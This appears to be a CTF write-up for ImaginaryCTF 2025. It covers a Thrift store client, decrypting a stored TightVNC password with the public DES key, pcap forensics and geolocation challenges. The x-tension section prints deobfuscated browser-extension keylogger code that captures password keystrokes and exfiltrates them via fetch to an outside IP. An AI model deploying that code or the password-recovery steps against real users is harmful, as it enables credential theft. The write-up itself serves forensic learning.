> This is my writeups for solved challenges in ImaginaryCTF 2025 # Forensics ## wave (100pts) Description: not a steg challenge i promise Attachments: wave.wav This challenge gave us a wav file, but I cannot open it like wav file work. Let check some bytes of it. Flag is hidden in metadata. ![image](https://hackmd.io/_uploads/HJbyjcc5xl.png) **FLAG: ictf{obligatory_metadata_challenge}** ## thrift-store (100pts) **Description**: The frontend has gone down but the store is still open, can you buy the flag? thrift-store.chal.imaginaryctf.org:9090 Attachments: capture.pcap Pcap file contains `THRIFT` protocol connections. ![3ad80f47-be55-4c18-80ac-d31718a166e5](https://hackmd.io/_uploads/SkDniqqqex.png) Some details is here https://wiki.wireshark.org/Thrift Wireshark shows that this is Thrift Strict Binary (header 0x80010001) and the server uses Framed transport. Look at all requests and responses once, I firgure out that RPCs include: - createBasket() — no parameters, REPLY returns success as STRUCT containing field 1: binary = basket_id (UUID). - addToBasket(1: binary basket_id, 2: binary item) — returns void. - getBasket(1: binary basket_id) — returns list; on real server it can be list<binary> or wrapped in struct. - getInventory() — returns list<struct>; each struct has strings (sku, name, desc) and an integer price (cent). - pay(1: binary basket_id, 2: i64 total) — returns string (when correct total, flag is returned). > note: all text parameters/values are binary, not unicode `strings`. If the wrong type/protocol/transport is sent, the server will close the socket immediately → “TSocket read 0 bytes”. Easy to see the flow when follow tcp streams. ![image](https://hackmd.io/_uploads/SyiNEsq5le.png) Work idea: this challenge looks like shopping, that we would go to inventory, pick basket and pay for flag. The pcap file shows the example how server works, so our mission is create a client that can do interaction with the server and get the flag. After research about Thrift protocol, to connect with server using it, we first need to know the datatype of all functions was used and through it, create an IDL matching server. Here is my `store.thrift`: ``` service Store { binary createBasket(), void addToBasket(1:binary basket_id, 2:binary item), list<binary> getBasket(1:binary basket_id), list<struct { 1: binary sku, 2: binary name, 3: binary desc, 4: i32 price }> getInventory(), string pay(1:binary basket_id, 2:i64 total), } ``` **Write the client to match exactly** - Connect using **TFramedTransport + TBinaryProtocol(strictWrite=true)**. - For `binary` fields, use `writeBinary` / `readBinary` (don't use writeString randomly). - Parse `createBasket` according to the nested STRUCT layout: result.success is a struct and field 1 is the binary id. **The flag "buy" process** - `getInventory()` to get the price list. (Prints out ~16 products; the list includes a `flag` with **price = 9999** cents) - `createBasket()` gets `basket_id`. - `addToBasket(basket_id, "flag")` adds the flag item to the basket. - (Optional) `getBasket(basket_id)` will show ['flag'] – this is just the item name, not the flag. - Calculate `total = 9999` according to inventory. - `pay(basket_id, 9999)` → server returns success message containing real flag: **ictf{l1k3_gRPC_bUt_l3ss_g0ogly}**. My client source client_thrift_pay.py: ```python! #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Thrift client Transport: TFramedTransport Protocol : TBinaryProtocol (strict write) RPCs supported: createBasket, addToBasket, getBasket, getInventory, pay """ import sys from thrift.transport import TSocket, TTransport from thrift.protocol import TBinaryProtocol from thrift.Thrift import TType, TMessageType HOST, PORT = "thrift-store.chal.imaginaryctf.org", 9090 def as_text(x): return x.decode("utf-8", "replace") if isinstance(x, (bytes, bytearray)) else str(x) # ---------------- Writers ---------------- def write_createBasket(p, seq=0): p.writeMessageBegin("createBasket", TMessageType.CALL, seq) p.writeStructBegin("createBasket_args") p.writeFieldStop() p.writeStructEnd() p.trans.flush() def write_addToBasket(p, basket_id: bytes, item: bytes, seq=1): p.writeMessageBegin("addToBasket", TMessageType.CALL, seq) p.writeStructBegin("addToBasket_args") p.writeFieldBegin("basket_id", TType.STRING, 1) # binary on-wire == STRING p.writeBinary(basket_id) p.writeFieldEnd() p.writeFieldBegin("item", TType.STRING, 2) p.writeBinary(item) p.writeFieldEnd() p.writeFieldStop() p.writeStructEnd() p.trans.flush() def write_getBasket(p, basket_id: bytes, seq=2): p.writeMessageBegin("getBasket", TMessageType.CALL, seq) p.writeStructBegin("getBasket_args") p.writeFieldBegin("basket_id", TType.STRING, 1) p.writeBinary(basket_id) p.writeFieldEnd() p.writeFieldStop() p.writeStructEnd() p.trans.flush() def write_getInventory(p, seq=3): p.writeMessageBegin("getInventory", TMessageType.CALL, seq) p.writeStructBegin("getInventory_args") p.writeFieldStop() p.writeStructEnd() p.trans.flush() def write_pay(p, basket_id: bytes, total: int, seq=900): p.writeMessageBegin("pay", TMessageType.CALL, seq) p.writeStructBegin("pay_args") p.writeFieldBegin("basket_id", TType.STRING, 1) p.writeBinary(basket_id) p.writeFieldEnd() p.writeFieldBegin("total", TType.I64, 2) # i64 an toàn p.writeI64(total) p.writeFieldEnd() p.writeFieldStop() p.writeStructEnd() p.trans.flush() # ---------------- Readers & helpers ---------------- def read_void_reply(p, expect_name: str): name, mtype, seqid = p.readMessageBegin() assert name == expect_name and mtype == TMessageType.REPLY p.readStructBegin() _fname, ftype, fid = p.readFieldBegin() assert ftype == TType.STOP p.readStructEnd() p.readMessageEnd() def read_createBasket_reply(p) -> bytes: name, mtype, seqid = p.readMessageBegin() assert name == "createBasket" and mtype == TMessageType.REPLY p.readStructBegin() # createBasket_result _fname, ftype, fid = p.readFieldBegin() # success = STRUCT { 1: STRING(binary) } (theo PCAP/server) assert ftype == TType.STRUCT and fid in (0, 1) p.readStructBegin() _fname2, ftype2, fid2 = p.readFieldBegin() assert ftype2 == TType.STRING and fid2 == 1 basket_id = p.readBinary() p.readFieldEnd() _fname2, ftype2, fid2 = p.readFieldBegin() assert ftype2 == TType.STOP p.readStructEnd() p.readFieldEnd() _fname, ftype, fid = p.readFieldBegin() assert ftype == TType.STOP p.readStructEnd() p.readMessageEnd() return basket_id def skip_field(p, ftype): if ftype == TType.BOOL: p.readBool() elif ftype == TType.BYTE: p.readByte() elif ftype == TType.I16: p.readI16() elif ftype == TType.I32: p.readI32() elif ftype == TType.I64: p.readI64() elif ftype == TType.DOUBLE:p.readDouble() elif ftype == TType.STRING:_ = p.readBinary() elif ftype == TType.LIST: et, n = p.readListBegin() for _ in range(n): if et == TType.STRING: _ = p.readBinary() elif et == TType.I32: _ = p.readI32() elif et == TType.I64: _ = p.readI64() elif et == TType.STRUCT: p.readStructBegin() while True: _fn, ft, _fid = p.readFieldBegin() if ft == TType.STOP: break skip_field(p, ft); p.readFieldEnd() p.readStructEnd() else: pass p.readListEnd() elif ftype == TType.STRUCT: p.readStructBegin() while True: _fn, ft, _fid = p.readFieldBegin() if ft == TType.STOP: break skip_field(p, ft); p.readFieldEnd() p.readStructEnd() elif ftype == TType.MAP: kt, vt, n = p.readMapBegin() for _ in range(n): skip_field(p, kt); skip_field(p, vt) p.readMapEnd() elif ftype == TType.SET: et, n = p.readSetBegin() for _ in range(n): skip_field(p, et) p.readSetEnd() def read_getBasket_reply(p): name, mtype, seqid = p.readMessageBegin() assert name == "getBasket" and mtype == TMessageType.REPLY p.readStructBegin() # getBasket_result items = [] _fname, ftype, fid = p.readFieldBegin() if ftype == TType.LIST: et, n = p.readListBegin() if et == TType.STRING: items = [as_text(p.readBinary()) for _ in range(n)] elif et == TType.STRUCT: for _ in range(n): p.readStructBegin() collected = [] while True: _fn3, ft3, fid3 = p.readFieldBegin() if ft3 == TType.STOP: break if ft3 == TType.STRING: collected.append(as_text(p.readBinary())) else: skip_field(p, ft3) p.readFieldEnd() p.readStructEnd() items.append(" | ".join(collected) if collected else "<struct>") else: for _ in range(n): skip_field(p, et) p.readListEnd(); p.readFieldEnd() elif ftype == TType.STRUCT: p.readStructBegin() while True: _fn2, ft2, fid2 = p.readFieldBegin() if ft2 == TType.STOP: break if ft2 == TType.LIST: et, n = p.readListBegin() if et == TType.STRING: items += [as_text(p.readBinary()) for _ in range(n)] elif et == TType.STRUCT: for _ in range(n): p.readStructBegin() collected = [] while True: _fn3, ft3, fid3 = p.readFieldBegin() if ft3 == TType.STOP: break if ft3 == TType.STRING: collected.append(as_text(p.readBinary())) else: skip_field(p, ft3) p.readFieldEnd() p.readStructEnd() items.append(" | ".join(collected) if collected else "<struct>") else: for _ in range(n): skip_field(p, et) p.readListEnd(); p.readFieldEnd() else: skip_field(p, ft2); p.readFieldEnd() p.readStructEnd(); p.readFieldEnd() elif ftype == TType.STRING: items = [as_text(p.readBinary())]; p.readFieldEnd() _fname, ftype, fid = p.readFieldBegin() assert ftype == TType.STOP p.readStructEnd() p.readMessageEnd() return items def read_getInventory_reply(p): name, mtype, seqid = p.readMessageBegin() assert name == "getInventory" and mtype == TMessageType.REPLY p.readStructBegin() entries = [] # each entry -> dict {"strings":[...], "ints":[...]} _fname, ftype, fid = p.readFieldBegin() def read_row_struct(): p.readStructBegin() row_s, row_i = [], [] while True: _fn, ft, _fid = p.readFieldBegin() if ft == TType.STOP: break if ft == TType.STRING: row_s.append(as_text(p.readBinary())) elif ft == TType.I32: row_i.append(p.readI32()) elif ft == TType.I64: row_i.append(p.readI64()) else: skip_field(p, ft) p.readFieldEnd() p.readStructEnd() return {"strings": row_s, "ints": row_i} if ftype == TType.LIST: et, n = p.readListBegin() if et == TType.STRUCT: for _ in range(n): entries.append(read_row_struct()) elif et == TType.STRING: for _ in range(n): entries.append({"strings":[as_text(p.readBinary())], "ints":[]}) else: for _ in range(n): skip_field(p, et) p.readListEnd(); p.readFieldEnd() elif ftype == TType.STRUCT: p.readStructBegin() while True: _fn2, ft2, fid2 = p.readFieldBegin() if ft2 == TType.STOP: break if ft2 == TType.LIST: et, n = p.readListBegin() if et == TType.STRUCT: for _ in range(n): entries.append(read_row_struct()) elif et == TType.STRING: for _ in range(n): entries.append({"strings":[as_text(p.readBinary())], "ints":[]}) else: for _ in range(n): skip_field(p, et) p.readListEnd(); p.readFieldEnd() else: skip_field(p, ft2); p.readFieldEnd() p.readStructEnd(); p.readFieldEnd() elif ftype == TType.STRING: entries.append({"strings":[as_text(p.readBinary())], "ints":[]}) p.readFieldEnd() _fname, ftype, fid = p.readFieldBegin() assert ftype == TType.STOP p.readStructEnd() p.readMessageEnd() return entries def read_pay_reply(p) -> str: name, mtype, seqid = p.readMessageBegin() assert name == "pay" and mtype == TMessageType.REPLY p.readStructBegin() _fname, ftype, fid = p.readFieldBegin() msg = "" if ftype == TType.STRING: msg = as_text(p.readBinary()) p.readFieldEnd() elif ftype == TType.STRUCT: p.readStructBegin() parts = [] while True: _fn, ft, _fid = p.readFieldBegin() if ft == TType.STOP: break if ft == TType.STRING: parts.append(as_text(p.readBinary())) else: skip_field(p, ft) p.readFieldEnd() p.readStructEnd() p.readFieldEnd() msg = " ".join(parts) elif ftype == TType.STOP: msg = "" _fname, ftype, fid = p.readFieldBegin() assert ftype == TType.STOP p.readStructEnd() p.readMessageEnd() return msg # ---------------- Main flow ---------------- def main(): items_wanted = sys.argv[1:] or ["flag"] sock = TSocket.TSocket(HOST, PORT) trans = TTransport.TFramedTransport(sock) # server: FRAMED + BINARY proto = TBinaryProtocol.TBinaryProtocol(trans, strictRead=False, strictWrite=True) trans.open() # (A) inventory -> sku->price write_getInventory(proto, seq=0) inv = read_getInventory_reply(proto) price = {} # sku -> int(cents) catalog = [] # list pretty for printing for row in inv: s = row.get("strings", []) if isinstance(row, dict) else [] ints = row.get("ints", []) if isinstance(row, dict) else [] if not s: continue sku = s[0] pval = ints[0] if ints else None if pval is not None: price[sku] = pval # build pretty line name = s[1] if len(s) > 1 else "" desc = s[2] if len(s) > 2 else "" catalog.append((sku, name, desc, pval)) print(f"[+] inventory entries: {len(catalog)}") for i, (sku, name, desc, pval) in enumerate(catalog, 1): pv = f"{pval}" if pval is not None else "?" print(f" {i:2d}. {sku:22s} | {name:24s} | price={pv} | {desc[:60]}") # (B) create basket & add items write_createBasket(proto, seq=100) basket = read_createBasket_reply(proto) print("[+] basket_id:", as_text(basket)) for idx, it in enumerate(items_wanted, 1): write_addToBasket(proto, basket, it.encode(), seq=100+idx) read_void_reply(proto, "addToBasket") print(f"[+] added '{it}'") # (C) show basket write_getBasket(proto, basket, seq=200) items = read_getBasket_reply(proto) print("[+] basket items:", items) # (D) compute total & pay total = 0 unknown = [] for it in items: if it in price: total += price[it] else: unknown.append(it) print(f"[+] computed total (known items): {total} (cents), unknown items: {unknown}") try_candidates = [] if items and all(it in unknown for it in items): try_candidates = [0] else: try_candidates = [total] for t in try_candidates: write_pay(proto, basket, t, seq=300) msg = read_pay_reply(proto) print(f"[+] pay({t}) → {msg}") if any(tag in msg for tag in ("ictf{", "flag{", "CTF{")): print("\n=== FLAG ===") print(msg) print("============") break trans.close() if __name__ == "__main__": main() ``` ![image](https://hackmd.io/_uploads/rk3fB295lx.png) **FLAG: ictf{l1k3_gRPC_bUt_l3ss_g0ogly}** ## obfuscated-1 (100pts) **Description:** I installed every old software known to man... The flag is the VNC password, wrapped in ictf{}. Attachments: Users.zip The zip file is an user folder, so we can consider it as a file system image. ![image](https://hackmd.io/_uploads/S1FUIo5qxe.png) Open it with FTK Imager. ![Screenshot 2025-09-06 172859](https://hackmd.io/_uploads/rkW58s9cxe.png) In Downloads, there are some suspicous file, a tightvnc-..., a putty installer and cuteftp50.exe. The description told us that the flag is VNC password so we need to know how tightvnc saves its password. A post shows us that VNC password was saved in registry `HKEY_CURRENT_USER\Software\TightVNC\Server` ![image](https://hackmd.io/_uploads/SJWDPsq5xl.png) To read the registry, we need `NTUSER.DAT` file, and it is in rumi folder. Use Registry Viewer. ![Screenshot 2025-09-06 174932](https://hackmd.io/_uploads/HJ72wic9le.png) The password was in hex type and was encrypted (DES, 8 byte - it was public with DES key) Write a decryptor or you can just use this script https://github.com/trinitronx/vncpasswd.py My bash script: ```bash! echo '7e9b311248b7c8a8' \ | xxd -r -p \ | openssl enc -des-ecb -d -nopad -nosalt -K e84ad660c4721ae0 ``` ![Screenshot 2025-09-06 175511](https://hackmd.io/_uploads/rkhRdi55xg.png) **FLAG: ictf{Slay4U!!}** ## x-tension (100pts) **Description:** Trying to get good at something while watching youtube isn't the greatest idea... **Attachments:** chal.pcapng ![image](https://hackmd.io/_uploads/r1Qgco5cee.png) As decription, the pcap contains many transmission protocols from UDP, TCP, QUIC for video content. Therefore, those are trying to noise us. ![image](https://hackmd.io/_uploads/HJ6n9o55el.png) Look at Protocol Hierarchy Statistic, we found some suspicous HTTP. ![image](https://hackmd.io/_uploads/rycEijcqlx.png) We got `FunnyCatPicsExtension.crx` and a lot request GET with parameter `?t=` Download and analyze `FunnyCatPicsExtension.crx`: it is not a common crx file, it is embedded something inside. ![Screenshot 2025-09-07 093918](https://hackmd.io/_uploads/SJT6io5qgx.png) `content.js` and `manifest.json`, why were they hidden in there? ![Screenshot 2025-09-07 093952](https://hackmd.io/_uploads/rJ_Roj5cgl.png) The content.js was obfuscated, that was super suspicous, like a malware. Try to read and deobfuscate, combine with manifest.json, we concluse: - manifest.json use `host_permissions: ["<all_urls>"]` + `content_scripts.matches: ["<all_urls>"]` to inject `content.js` to all page you open. `run_at: "document_idle` to run `content.js` when download completely. - `content.js` listen `keydown` when page has input field `type=="password"`. Each character was imported, programm XOR 1-byte (UTC minute) → encode 2 hex → fetch into `http://192.9.137.137:42552/?t=hex` => This is **password keylogger** Content.js after deobfuscated: ```javascript= function getKey() { const m = new Date().getUTCMinutes(); // 0..59 return String.fromCharCode(m + 0x20); // key 1 byte (0x20..0x5B) } function xorEncrypt(s, key) { let out = ""; const k = key.charCodeAt(0); for (let i = 0; i < s.length; i++) { const x = s.charCodeAt(i) ^ k; // XOR each char out += x.toString(16).padStart(2, "0"); // to 2 hex } return out; } document.addEventListener("keydown", (ev) => { const el = ev.target; if (el.type === "password") { const ch = ev.key.length === 1 ? ev.key : ""; // one char if (ch) { const enc = xorEncrypt(ch, getKey()); const q = encodeURIComponent(enc); fetch("http://192.9.137.137:42552/?t=" + q); // exfiltration } } }); ``` Oke, next we try to recover the data was sent. We need the cipher char and the time it was encrypt. 1. Export the data with tshark: ```bash= tshark -r capture.pcap \ -Y 'http.request && ip.dst==192.9.137.137 && tcp.dstport==42552 && http.request.uri contains "t="' \ -T fields -E separator=, \ -e frame.time_epoch -e http.request.uri.query > leaks.csv ``` ![Screenshot 2025-09-07 093852](https://hackmd.io/_uploads/SJd3Ao95gl.png) 2. Decode ```python= # decode_leak.py import sys, csv, re from datetime import datetime, timezone def utc_minute(epoch_float): return datetime.fromtimestamp(epoch_float, tz=timezone.utc).minute def decode_char(epoch_str, query): m = re.search(r't=([0-9a-fA-F]{2})', query) if not m: return None b = int(m.group(1), 16) k = (utc_minute(float(epoch_str)) + 0x20) & 0xFF return chr(b ^ k) def main(path): out = [] with open(path, newline='') as f: for epoch, query in csv.reader(f): ch = decode_char(epoch, query) if ch is not None: out.append(ch) print("".join(out)) if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: python3 decode_leak.py leaks.csv"); sys.exit(1) main(sys.argv[1]) ``` ![Screenshot 2025-09-07 093902](https://hackmd.io/_uploads/rJIW1h95ee.png) **FLAG: ictf{extensions_might_just_suck}** # MISC ## significant (100pts) **Description**: The signpost knows where it is at all times. It knows this because it knows where it isn't, by subtracting where it is, from where it isn't, or where it isn't, from where it is, whichever is greater. Consequently, the position where it is, is now the position that it wasn't, and it follows that the position where it was, is now the position that it isn't. Please find the coordinates (lat, long) of this signpost to the nearest 3 decimals, separated by a comma with no space. Ensure that you are rounding and not truncating before you make a ticket. Example flag: ictf{-12.345,6.789} ![significant](https://hackmd.io/_uploads/r1_c13qcxe.jpg) Use google lens, we can found that this is in San Francisco. It is **"Sister Cities of San Francisco Sign"**. **FLAG: ictf{37.785,-122.408}** ## zoom (100pts) **Description** Where in the world is the red dot? Format: ictf{lat,long} rounded to three decimal places. example: ictf{12.345,-67.890} ![beavertail](https://hackmd.io/_uploads/SJgtZ255eg.png) GPT is now strong in identifying place ![image](https://hackmd.io/_uploads/rJM0Wn5qgg.png) ![image](https://hackmd.io/_uploads/r11Jf395lx.png) The coordinates it give is not exactly, but nearby. ![Screenshot 2025-09-06 190345](https://hackmd.io/_uploads/SJ1KGn5clx.jpg) **FLAG: ictf{45.282,-75.795}**